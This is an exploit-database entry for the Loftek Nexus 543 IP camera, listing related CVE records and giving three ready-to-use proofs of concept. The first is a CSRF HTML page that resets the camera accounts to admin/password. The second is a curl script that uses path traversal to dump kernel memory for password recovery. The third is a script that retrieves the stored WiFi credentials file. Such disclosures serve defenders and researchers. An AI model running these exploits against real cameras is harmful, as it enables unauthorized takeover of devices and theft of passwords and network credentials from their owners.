Loftek Nexus 543 IP Cameras - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Loftek Nexus 543 IP Cameras - Multiple Vulnerabilities including CSRF and Memory Dum

Reporter	Title	Published	Views	Family All 13
0day.today	Loftek Nexus 543 IP Cameras CSRF Vulnerability	27 Aug 201300:00	–	zdt
CVE	CVE-2013-3311	21 Nov 201919:39	–	cve
CVE	CVE-2013-3314	21 Nov 201919:39	–	cve
Cvelist	CVE-2013-3311	21 Nov 201919:39	–	cvelist
Cvelist	CVE-2013-3314	21 Nov 201919:39	–	cvelist
Exploit DB	Loftek Nexus 543 IP Cameras - Multiple Vulnerabilities	26 Aug 201300:00	–	exploitdb
EUVD	EUVD-2013-3247	7 Oct 202500:30	–	euvd
exploitpack	Loftek Nexus 543 IP Cameras - Multiple Vulnerabilities	26 Aug 201300:00	–	exploitpack
NVD	CVE-2013-3311	21 Nov 201920:15	–	nvd
NVD	CVE-2013-3314	21 Nov 201920:15	–	nvd


                                                CSRF:

&#60;HTML&#62;&#60;TITLE&#62;Loftek Nexus 543 CSRF PoC&#60;/TITLE&#62;
&#60;IMG SRC=&#34;http://ip-camera-address/set_users.cgi?next_url=rebootme.htm&user1=admin&pwd1=password&pri1=2&user2=anon&pwd2=password&pri2=0&user3=&pwd3=&pri3=1&user4=&pwd4=&pri4=0&user5=&pwd5=&pri5=0&user6=&pwd6=&pri6=0&user7=&pwd7=&pri7=0&user8=&pwd8=&pri8=0&#34; ALT=&#34;Your password has been reset to admin/password&#34;&#62;
&#60;/HTML&#62;


Memory Dump:

#!/bin/sh
# This script exploits CVE-2013-3311 to retrieve kernel memory from a Loftek Nexus 543 IP camera
# The file which is downloaded can be analyzed (strings) to recover passwords and other goodies


if [[ &#34;$1x&#34; != &#34;x&#34; && &#34;$2x&#34; != &#34;x&#34; ]]; then
	curl http://$1/../proc/kcore -o $2 
	exit
fi
echo &#34;Usage: $0 Nexus-543-IP output_file&#34; 

WiFi Creds:


#!/bin/sh
# This script exploits CVE-2013-3314 to retrieve wifi credentials from a Loftek Nexus 543 IP camera

if [ &#34;$1x&#34; != &#34;x&#34; ]; then
	curl http://$1/../etc/RT2870STA.dat
	exit
fi
echo &#34;Usage: $0 Nexus-543-IP&#34;

01 Jul 2014 00:00Current

7.5High risk

Vulners AI Score7.5

EPSS0.24633